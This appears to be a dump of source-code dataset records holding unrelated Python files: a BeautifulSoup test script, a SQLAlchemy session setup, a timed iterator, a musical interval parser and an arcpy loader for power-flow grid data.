32, "usage_type": "call"}, {"api_name": "core.models.Question.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "core.models.Question", "line_number": 32, "usage_type": "name"}, {"api_name": "core.models.Favorite.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "core.models.Favorite.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "core.models.Favorite", "line_number": 33, "usage_type": "name"}, {"api_name": "core.models.Question.objects.filter", "line_number": 34, "usage_type": "call"}, {"api_name": "core.models.Question.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "core.models.Question", "line_number": 34, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 43, "usage_type": "call"}, {"api_name": "core.models.Question.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "core.models.Question.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "core.models.Question", "line_number": 47, "usage_type": "name"}, {"api_name": "core.models.Favorite.objects.filter", "line_number": 51, "usage_type": "call"}, {"api_name": "core.models.Favorite.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "core.models.Favorite", "line_number": 51, "usage_type": "name"}, {"api_name": "core.models.Favorite.objects.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "core.models.Favorite.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "core.models.Favorite", "line_number": 54, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 56, "usage_type": "call"}, {"api_name": "core.forms.QuestionCreateForm", "line_number": 67, "usage_type": "call"}, {"api_name": "markdown.markdown", "line_number": 71, "usage_type": "call"}, {"api_name": "bleach.clean", "line_number": 72, "usage_type": "call"}, {"api_name": "bleach_whitelist.markdown_tags", "line_number": 72, "usage_type": "argument"}, {"api_name": "bleach_whitelist.markdown_attrs", "line_number": 72, "usage_type": "argument"}, {"api_name": "core.models.Question", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 75, "usage_type": "call"}, {"api_name": "core.forms.QuestionCreateForm", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 62, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 85, "usage_type": "call"}, {"api_name": "core.models.Question", "line_number": 85, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 83, "usage_type": "name"}]} {"seq_id": "275213654", "text": "from bs4 import BeautifulSoup\n\n\ndef parse_paragraph(tag):\n\tfor content in tag.contents:\n\t\tif content.name is not None:\n\t\t\tif content.find(\"b\") is not None:\n\t\t\t\tif content.get('class') == \"pb\":\n\t\t\t\t\tpage_div.extend(tags)\n\t\t\t\t\toutput.append(str(page_div).replace('\\n', ''))\n\t\t\t\t\ttags = []\n\t\t\t\t\tpage_div = BeautifulSoup(features=\"lxml-xml\").new_tag('div')\n\t\t\t\t\tpage_div.attrs = {\"id\": content.get('id'), \"class\": type_class}\n\t\t\t\t\ttag.contents[0].decompose()\n\t\t\t\telse:\n\t\t\t\t\t[tags, page_div, output] = parse_paragraph(tag, tags, page_div, output, type_class)\n\t\t\telse:\n\t\t\t\ttags.append(tag)\n\treturn [tags, page_div, output]\n\n\nhtml_doc = \"\"\"\n<html><head><title>The Dormouse's story\n\n

Once upon a time there were three little sisters; and their names were\nElsie,\n

The Dormouse's story

\nLacie and\nTillie;\nand they lived at the bottom of a well.

\n\n

...

\n\"\"\"\n\n\nsoup = BeautifulSoup(html_doc, 'lxml-xml')\nbody = soup.find('p', {'class': \"story\"})\nfor item in body.next_element.next_siblings:\n\tif item is not None and item.name is not None:\n\t\tif item.get('class') == 'title':\n\t\t\tprint(\"Ok **** :\", item)\n\t\telse:\n\t\t\tprint(\"**/*/*\", item)\n\n# for content in body.next_siblings:\n# \tif content is not None and content.name is not None:\n# \t\tif content.find(\"b\") is not None:\n# \t\t\tif content.name == \"b\":\n# \t\t\t\tprint(\"Yes :\", content.name)\n\n", "sub_path": "src/testBSoup.py", "file_name": "testBSoup.py", "file_ext": "py", "file_size_in_byte": 1621, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 38, "usage_type": "call"}]} {"seq_id": "371516487", "text": "from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n\nDATABASE_URL = 'sqlite:///new.db'\nengine = create_engine(DATABASE_URL, connect_args={\"check_same_thread\":False})\nSession = sessionmaker(bind=engine, autocommit=False, autoflush=False)\nBase = declarative_base()\n\ndef get_db():\n db = Session()\n try:\n yield db\n finally:\n db.close()\n", "sub_path": "app/database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 437, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 9, "usage_type": "call"}]} {"seq_id": "169998275", "text": "import time\r\nimport logging\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\nclass TimeTrigger(object):\r\n def __init__(self, timefcn, delayfcn):\r\n self._timefcn = timefcn if timefcn else time.time\r\n self._delayfcn = delayfcn if delayfcn else time.sleep\r\n self._num_steps = 1\r\n self._time_step = 0\r\n\r\n def set_steps(self, time_step, num_steps):\r\n self._time_step = time_step\r\n self._num_steps = num_steps\r\n\r\n def iter(self):\r\n logger.info('Starting iterator')\r\n\r\n time_finish_now = self._timefcn()\r\n time_start_next = time_finish_now\r\n\r\n for count_steps in range(self._num_steps):\r\n if time_start_next > time_finish_now:\r\n self._delayfcn(time_start_next - time_finish_now)\r\n\r\n logger.info('Start iteration #%d', count_steps)\r\n yield time_start_next\r\n\r\n time_finish_now = self._timefcn()\r\n if self._time_step > 0:\r\n time_start_next += self._time_step\r\n while time_finish_now > time_start_next:\r\n time_start_next += self._time_step\r\n else:\r\n time_start_next = time_finish_now\r\n\r\n logger.info('Finished iterator')\r\n", "sub_path": "sensormesh/triggers.py", "file_name": "triggers.py", "file_ext": "py", "file_size_in_byte": 1238, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "time.time", "line_number": 9, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "attribute"}]} {"seq_id": "144026944", "text": "import re\nfrom typing import Dict, Optional\n\nfrom ...const_singleton import ConstSingleton\n\nfrom .interval import Interval\nfrom .quality import Quality\nfrom .exceptions import NotAnIntervalError\n\n\nclass _Data(ConstSingleton):\n\n PrefixDict: Dict[str, Quality] = {\n \"diminished\": Quality.Diminished,\n \"diminish\": Quality.Diminished,\n \"dim\": Quality.Diminished,\n \"minor\": Quality.Minor,\n \"min\": Quality.Minor,\n \"Perfect\": Quality.Perfect,\n \"perf\": Quality.Perfect,\n \"major\": Quality.Major,\n \"maj\": Quality.Major,\n \"augmented\": Quality.Augmented,\n \"augment\": Quality.Augmented,\n \"aug\": Quality.Augmented,\n }\n\n IntervalDict: Dict[Quality, Dict[int, Interval]] = {\n Quality.Diminished: {\n 2: Interval.d2,\n 3: Interval.d3,\n 4: Interval.d4,\n 5: Interval.d5,\n 6: Interval.d6,\n 7: Interval.d7,\n 8: Interval.d8,\n 9: Interval.d9,\n 10: Interval.d10,\n 11: Interval.d11,\n 12: Interval.d12,\n 13: Interval.d13,\n 14: Interval.d14,\n 15: Interval.d15,\n },\n Quality.Minor: {\n 2: Interval.m2,\n 3: Interval.m3,\n 6: Interval.m6,\n 7: Interval.m7,\n 9: Interval.m9,\n 10: Interval.m10,\n 13: Interval.m13,\n 14: Interval.m14,\n },\n Quality.Perfect: {\n 1: Interval.P1,\n 4: Interval.P4,\n 5: Interval.P5,\n 8: Interval.P8,\n 11: Interval.P11,\n 12: Interval.P12,\n 15: Interval.P15,\n },\n Quality.Major: {\n 2: Interval.M2,\n 3: Interval.M3,\n 6: Interval.M6,\n 7: Interval.M7,\n 9: Interval.M9,\n 10: Interval.M10,\n 13: Interval.M13,\n 14: Interval.M14,\n },\n Quality.Augmented: {\n 1: Interval.A1,\n 2: Interval.A2,\n 3: Interval.A3,\n 4: Interval.A4,\n 5: Interval.A5,\n 6: Interval.A6,\n 7: Interval.A7,\n 8: Interval.A8,\n 9: Interval.A9,\n 10: Interval.A10,\n 11: Interval.A11,\n 12: Interval.A12,\n 13: Interval.A13,\n 14: Interval.A14,\n 15: Interval.A15,\n },\n }\n\n\nDATA: _Data = _Data.get_instance()\n\n\nclass Interpreter:\n\n @classmethod\n def to_interval(cls, value: str) -> Interval:\n\n match = re.match(r\"^\\s*([^\\d]*?)\\s*(\\d+?)\\s*$\", value)\n if not match:\n raise NotAnIntervalError\n\n prefix: str = match.group(1)\n # noinspection PyUnusedLocal\n q: Quality\n try:\n q = Quality(prefix)\n except ValueError:\n if prefix.lower() in DATA.PrefixDict.keys():\n q = DATA.PrefixDict[prefix.lower()]\n else:\n raise NotAnIntervalError\n\n number: int = int(match.group(2))\n if number in DATA.IntervalDict[q].keys():\n return DATA.IntervalDict[q][number]\n\n raise NotAnIntervalError\n\n @classmethod\n def to_interval_mirex(cls, value: str) -> Interval:\n\n match = re.match(r\"^\\s*([^\\d]*?)?\\s*(\\d+?)\\s*$\", value)\n if not match:\n raise NotAnIntervalError\n\n prefix: str = match.group(1).strip()\n number: int = int(match.group(2))\n\n # noinspection PyUnusedLocal\n interval: Optional[Interval]\n\n if prefix == \"b\" or prefix == \"-\":\n interval = DATA.IntervalDict[Quality.Minor].get(number, None) \\\n or DATA.IntervalDict[Quality.Diminished].get(number, None)\n elif prefix == \"#\" or prefix == \"+\":\n interval = DATA.IntervalDict[Quality.Augmented].get(number, None)\n else:\n interval = DATA.IntervalDict[Quality.Major].get(number, None) \\\n or DATA.IntervalDict[Quality.Perfect].get(number, None)\n\n if interval:\n return interval\n\n raise NotAnIntervalError\n\n", "sub_path": "music/interval/interpreter.py", "file_name": "interpreter.py", "file_ext": "py", "file_size_in_byte": 4145, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "const_singleton.ConstSingleton", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 13, "usage_type": "name"}, {"api_name": "quality.Quality", "line_number": 13, "usage_type": "name"}, {"api_name": "quality.Quality.Diminished", "line_number": 14, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 14, "usage_type": "name"}, {"api_name": "quality.Quality.Diminished", "line_number": 15, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 15, "usage_type": "name"}, {"api_name": "quality.Quality.Diminished", "line_number": 16, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 16, "usage_type": "name"}, {"api_name": "quality.Quality.Minor", "line_number": 17, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 17, "usage_type": "name"}, {"api_name": "quality.Quality.Minor", "line_number": 18, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 18, "usage_type": "name"}, {"api_name": "quality.Quality.Perfect", "line_number": 19, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 19, "usage_type": "name"}, {"api_name": "quality.Quality.Perfect", "line_number": 20, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 20, "usage_type": "name"}, {"api_name": "quality.Quality.Major", "line_number": 21, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 21, "usage_type": "name"}, {"api_name": "quality.Quality.Major", "line_number": 22, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 22, "usage_type": "name"}, {"api_name": "quality.Quality.Augmented", "line_number": 23, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 23, "usage_type": "name"}, {"api_name": "quality.Quality.Augmented", "line_number": 24, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 24, "usage_type": "name"}, {"api_name": "quality.Quality.Augmented", "line_number": 25, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 28, "usage_type": "name"}, {"api_name": "quality.Quality", "line_number": 28, "usage_type": "name"}, {"api_name": "interval.Interval", "line_number": 28, "usage_type": "name"}, {"api_name": "quality.Quality.Diminished", "line_number": 29, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 29, "usage_type": "name"}, {"api_name": "quality.Quality.Minor", "line_number": 45, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 45, "usage_type": "name"}, {"api_name": "quality.Quality.Perfect", "line_number": 55, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 55, "usage_type": "name"}, {"api_name": "quality.Quality.Major", "line_number": 64, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 64, "usage_type": "name"}, {"api_name": "quality.Quality.Augmented", "line_number": 74, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 74, "usage_type": "name"}, {"api_name": "interval.Interval.d2", "line_number": 30, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 30, "usage_type": "name"}, {"api_name": "interval.Interval.d3", "line_number": 31, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 31, "usage_type": "name"}, {"api_name": "interval.Interval.d4", "line_number": 32, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 32, "usage_type": "name"}, {"api_name": "interval.Interval.d5", "line_number": 33, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 33, "usage_type": "name"}, {"api_name": "interval.Interval.d6", "line_number": 34, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 34, "usage_type": "name"}, {"api_name": "interval.Interval.d7", "line_number": 35, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 35, "usage_type": "name"}, {"api_name": "interval.Interval.d8", "line_number": 36, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 36, "usage_type": "name"}, {"api_name": "interval.Interval.d9", "line_number": 37, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 37, "usage_type": "name"}, {"api_name": "interval.Interval.d10", "line_number": 38, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 38, "usage_type": "name"}, {"api_name": "interval.Interval.d11", "line_number": 39, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 39, "usage_type": "name"}, {"api_name": "interval.Interval.d12", "line_number": 40, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 40, "usage_type": "name"}, {"api_name": "interval.Interval.d13", "line_number": 41, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 41, "usage_type": "name"}, {"api_name": "interval.Interval.d14", "line_number": 42, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 42, "usage_type": "name"}, {"api_name": "interval.Interval.d15", "line_number": 43, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 43, "usage_type": "name"}, {"api_name": "interval.Interval.m2", "line_number": 46, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 46, "usage_type": "name"}, {"api_name": "interval.Interval.m3", "line_number": 47, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 47, "usage_type": "name"}, {"api_name": "interval.Interval.m6", "line_number": 48, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 48, "usage_type": "name"}, {"api_name": "interval.Interval.m7", "line_number": 49, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 49, "usage_type": "name"}, {"api_name": "interval.Interval.m9", "line_number": 50, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 50, "usage_type": "name"}, {"api_name": "interval.Interval.m10", "line_number": 51, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 51, "usage_type": "name"}, {"api_name": "interval.Interval.m13", "line_number": 52, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 52, "usage_type": "name"}, {"api_name": "interval.Interval.m14", "line_number": 53, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 53, "usage_type": "name"}, {"api_name": "interval.Interval.P1", "line_number": 56, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 56, "usage_type": "name"}, {"api_name": "interval.Interval.P4", "line_number": 57, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 57, "usage_type": "name"}, {"api_name": "interval.Interval.P5", "line_number": 58, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 58, "usage_type": "name"}, {"api_name": "interval.Interval.P8", "line_number": 59, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 59, "usage_type": "name"}, {"api_name": "interval.Interval.P11", "line_number": 60, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 60, "usage_type": "name"}, {"api_name": "interval.Interval.P12", "line_number": 61, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 61, "usage_type": "name"}, {"api_name": "interval.Interval.P15", "line_number": 62, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 62, "usage_type": "name"}, {"api_name": "interval.Interval.M2", "line_number": 65, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 65, "usage_type": "name"}, {"api_name": "interval.Interval.M3", "line_number": 66, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 66, "usage_type": "name"}, {"api_name": "interval.Interval.M6", "line_number": 67, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 67, "usage_type": "name"}, {"api_name": "interval.Interval.M7", "line_number": 68, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 68, "usage_type": "name"}, {"api_name": "interval.Interval.M9", "line_number": 69, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 69, "usage_type": "name"}, {"api_name": "interval.Interval.M10", "line_number": 70, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 70, "usage_type": "name"}, {"api_name": "interval.Interval.M13", "line_number": 71, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 71, "usage_type": "name"}, {"api_name": "interval.Interval.M14", "line_number": 72, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 72, "usage_type": "name"}, {"api_name": "interval.Interval.A1", "line_number": 75, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 75, "usage_type": "name"}, {"api_name": "interval.Interval.A2", "line_number": 76, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 76, "usage_type": "name"}, {"api_name": "interval.Interval.A3", "line_number": 77, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 77, "usage_type": "name"}, {"api_name": "interval.Interval.A4", "line_number": 78, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 78, "usage_type": "name"}, {"api_name": "interval.Interval.A5", "line_number": 79, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 79, "usage_type": "name"}, {"api_name": "interval.Interval.A6", "line_number": 80, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 80, "usage_type": "name"}, {"api_name": "interval.Interval.A7", "line_number": 81, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 81, "usage_type": "name"}, {"api_name": "interval.Interval.A8", "line_number": 82, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 82, "usage_type": "name"}, {"api_name": "interval.Interval.A9", "line_number": 83, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 83, "usage_type": "name"}, {"api_name": "interval.Interval.A10", "line_number": 84, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 84, "usage_type": "name"}, {"api_name": "interval.Interval.A11", "line_number": 85, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 85, "usage_type": "name"}, {"api_name": "interval.Interval.A12", "line_number": 86, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 86, "usage_type": "name"}, {"api_name": "interval.Interval.A13", "line_number": 87, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 87, "usage_type": "name"}, {"api_name": "interval.Interval.A14", "line_number": 88, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 88, "usage_type": "name"}, {"api_name": "interval.Interval.A15", "line_number": 89, "usage_type": "attribute"}, {"api_name": "interval.Interval", "line_number": 89, "usage_type": "name"}, {"api_name": "re.match", "line_number": 102, "usage_type": "call"}, {"api_name": "exceptions.NotAnIntervalError", "line_number": 104, "usage_type": "name"}, {"api_name": "quality.Quality", "line_number": 108, "usage_type": "name"}, {"api_name": "quality.Quality", "line_number": 110, "usage_type": "call"}, {"api_name": "exceptions.NotAnIntervalError", "line_number": 115, "usage_type": "name"}, {"api_name": "exceptions.NotAnIntervalError", "line_number": 121, "usage_type": "name"}, {"api_name": "interval.Interval", "line_number": 100, "usage_type": "name"}, {"api_name": "re.match", "line_number": 126, "usage_type": "call"}, {"api_name": "exceptions.NotAnIntervalError", "line_number": 128, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 134, "usage_type": "name"}, {"api_name": "interval.Interval", "line_number": 134, "usage_type": "name"}, {"api_name": "quality.Quality.Minor", "line_number": 137, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 137, "usage_type": "name"}, {"api_name": "quality.Quality.Diminished", "line_number": 138, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 138, "usage_type": "name"}, {"api_name": "quality.Quality.Augmented", "line_number": 140, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 140, "usage_type": "name"}, {"api_name": "quality.Quality.Major", "line_number": 142, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 142, "usage_type": "name"}, {"api_name": "quality.Quality.Perfect", "line_number": 143, "usage_type": "attribute"}, {"api_name": "quality.Quality", "line_number": 143, "usage_type": "name"}, {"api_name": "exceptions.NotAnIntervalError", "line_number": 148, "usage_type": "name"}, {"api_name": "interval.Interval", "line_number": 124, "usage_type": "name"}]} {"seq_id": "560741260", "text": "import arcpy\nimport os\nimport datetime\nimport logging\n\nfrom Connection import Connection\nfrom DBStructs import DB_STRUCT\n\n\nclass PowerFlowLoadData():\n \"\"\"Loads data for power flow analysis\"\"\"\n # BRANCH_ELEMENTS = [DB_STRUCT.GRID_EQUIP_SRC, DB_STRUCT.GRID_POW_LINE_FC,\n # DB_STRUCT.GRID_EQUIP_TRANS, DB_STRUCT.GRID_EQUIP_SWITCH,\n # DB_STRUCT.GRID_EQUIP_REG, DB_STRUCT.GRID_EQUIP_PROT]\n # TOP_ELEMENTS = [DB_STRUCT.GRID_EQUIP_GEN, 'grid_loads', DB_STRUCT.GRID_EQUIP_CAP]\n MODEL_CIR = 'model_circuit'\n ALL_CIRCUITS = []\n\n def __init__(self, conn, circuitFilter, loadScenario, genScenario):\n self.net = dict()\n self.model = dict()\n self.directRun = False\n self.conn = conn\n self.defaultSpatialRef = arcpy.SpatialReference(2277)\n self.circuitFilter = circuitFilter\n self.loadScenario = loadScenario\n self.genScenario = genScenario\n # self.protConductor = None\n # self.protConstruction = None\n # self.switchConductor = None\n # self.switchConstruction = None\n\n self.circs = []\n self.circuitsWhereClause = None\n\n logging.basicConfig(filename='%s.log' %\n __file__, level=logging.CRITICAL)\n logging.info('HI')\n\n def fullPath(self, name):\n return os.path.join(self.conn.getSdeFullPath(), name)\n\n def getFeatureDesc(self, featureClass):\n featureClassPath = self.fullPath(featureClass)\n return arcpy.Describe(featureClassPath)\n\n def loadFeatureClass(self, featureClass, fields='*',\n whereClause=None, keyField='secname', sr=None):\n featureClassPath = self.fullPath(featureClass)\n features, dups = {}, []\n sr = self.defaultSpatialRef if sr is None else sr\n desc = self.getFeatureDesc(featureClass)\n\n # if polyline type, then get length of line\n isPolyline = True if desc.shapeType == 'Polyline' else False\n if isPolyline:\n fields = ['*', 'SHAPE@LENGTH']\n\n # print featureClassPath\n\n try:\n with arcpy.da.SearchCursor(featureClassPath, fields, where_clause=whereClause,\n spatial_reference=sr) as rows:\n flds = rows.fields\n lenIndex = flds.index('SHAPE@LENGTH') if isPolyline else -1\n\n for r in rows:\n f = dict(zip(flds, r))\n if f[keyField] in features:\n dups.append(f)\n print(\"Duplicate %s detected: %s in %s.\" %\n (keyField, f[keyField], featureClass))\n continue\n else:\n if isPolyline:\n f['length'] = r[lenIndex]\n\n features[f[keyField]] = f\n\n except BaseException as e:\n print(\"Could not load %s: %s\" % (featureClass, str(e)))\n\n return features\n\n def loadTable(self, tableName, fields='*', whereClause=None, keyField='equipref'):\n tableNamePath = os.path.join(self.conn.getSdeFullPath(), tableName)\n tables, dups = {}, []\n\n try:\n with arcpy.da.SearchCursor(tableNamePath, fields, where_clause=whereClause) as rows:\n flds = rows.fields\n for r in rows:\n f = dict(zip(flds, r))\n if f[keyField] in tables:\n dups.append(f)\n print(\"Duplicate %s detected: %s in %s.\" %\n (keyField, f[keyField], tableNamePath))\n continue\n else:\n tables[f[keyField]] = f\n\n except BaseException as e:\n print(\"Could not load %s: %s\" % (tableName, str(e)))\n\n return tables\n\n # create circuit list for those that are in model_circuits\n # if circuitFilter is an empty array - means all circuits\n def setSelectedCircuits(self):\n self.circs = []\n if len(self.circuitFilter) == 0:\n self.circs = self.net[self.MODEL_CIR].keys()\n else:\n self.circs = [\n c for c in self.net[self.MODEL_CIR].keys() if c in self.circuitFilter]\n\n\n # creates the where clause based on filtered circuits (for other features/tables)\n def formatCircuitsWhereClause(self):\n self.circuitsWhereClause = None\n if len(self.circs) > 0:\n self.circuitsWhereClause = \"circuit in ('\" + \"','\".join(self.circs) + \"')\"\n else:\n self.circuitsWhereClause = \"circuit is not null and circuit <> ''\"\n\n\n def buildBranchElems(self):\n\n self.allBr, self.allId = {}, {}\n for elem in (DB_STRUCT.BRANCH_ELEMENTS + DB_STRUCT.TOP_ELEMENTS):\n\n if not elem in self.net:\n print(\"%s data not loaded\" % elem)\n continue\n\n for elemId, elemValue in self.net[elem].items():\n if elemId in self.allId:\n print(\"Global duplicate id found at %s in %s.\" %\n (elemId, elemValue))\n continue\n else:\n self.allId[elemId] = elemValue\n if elem in DB_STRUCT.BRANCH_ELEMENTS:\n self.allBr[elemId] = elemValue\n # print(\"buildBranchElems Done\")\n\n def findMissingCircuitSources(self):\n \"\"\"\n \"\"\"\n newEquipment = {}\n for circ in self.circs:\n circuitSecName = self.net[self.MODEL_CIR][circ]['secname']\n if circuitSecName in self.allBr:\n elem = self.allBr[circuitSecName]\n\n while elem['otype'] != 'source':\n isEquip = True\n elemPar = self.loadFeatureClass(\n DB_STRUCT.GRID_EQUIP_FC, whereClause=\"secname='%(parentsec)s'\" % elem)\n\n if not elemPar:\n isEquip = False\n elemPar = self.loadFeatureClass(\n DB_STRUCT.GRID_POW_LINE_FC, whereClause=\"secname='%(parentsec)s'\" % elem)\n\n if elemPar:\n elem = elemPar[elem['parentsec']]\n self.allBr[elem['secname']] = elem\n if isEquip:\n newEquipment[elem['secname']] = elem\n else:\n self.net[DB_STRUCT.GRID_POW_LINE_FC][elem['secname']] = elem\n else:\n print(\n \"Cannot find the root [%(secname)s] for circuit %(equipref)s.\" % self.net['model_circuit'][circ])\n\n def validateParams(self):\n print(\"validateParams Done\")\n\n def loadData(self):\n\n self.net[self.MODEL_CIR] = self.loadTable(self.MODEL_CIR)\n\n self.setSelectedCircuits()\n self.formatCircuitsWhereClause()\n\n arcpy.AddMessage(\"Feeders: %s\" %\n ','.join(sorted(self.circs)))\n\n # getting all featureclass\n self.net[DB_STRUCT.GRID_POW_LINE_FC] = self.loadFeatureClass(\n DB_STRUCT.GRID_POW_LINE_FC, whereClause=self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_LOADS_FC] = self.loadFeatureClass(\n DB_STRUCT.GRID_LOADS_FC, whereClause=self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_TRANS] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='transformer'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_CAP] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='capacitor'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_PROT] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype in ('fuse', 'recloser', 'breaker')\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_REG] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='regulator'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_SWITCH] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='switch'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_SRC] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='source'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.GRID_EQUIP_GEN] = self.loadFeatureClass(DB_STRUCT.GRID_EQUIP_FC,\n whereClause=\"%s and otype='generator'\" % self.circuitsWhereClause)\n self.net[DB_STRUCT.CIRCUIT] = {}\n self.net[DB_STRUCT.SHUNT] = {}\n 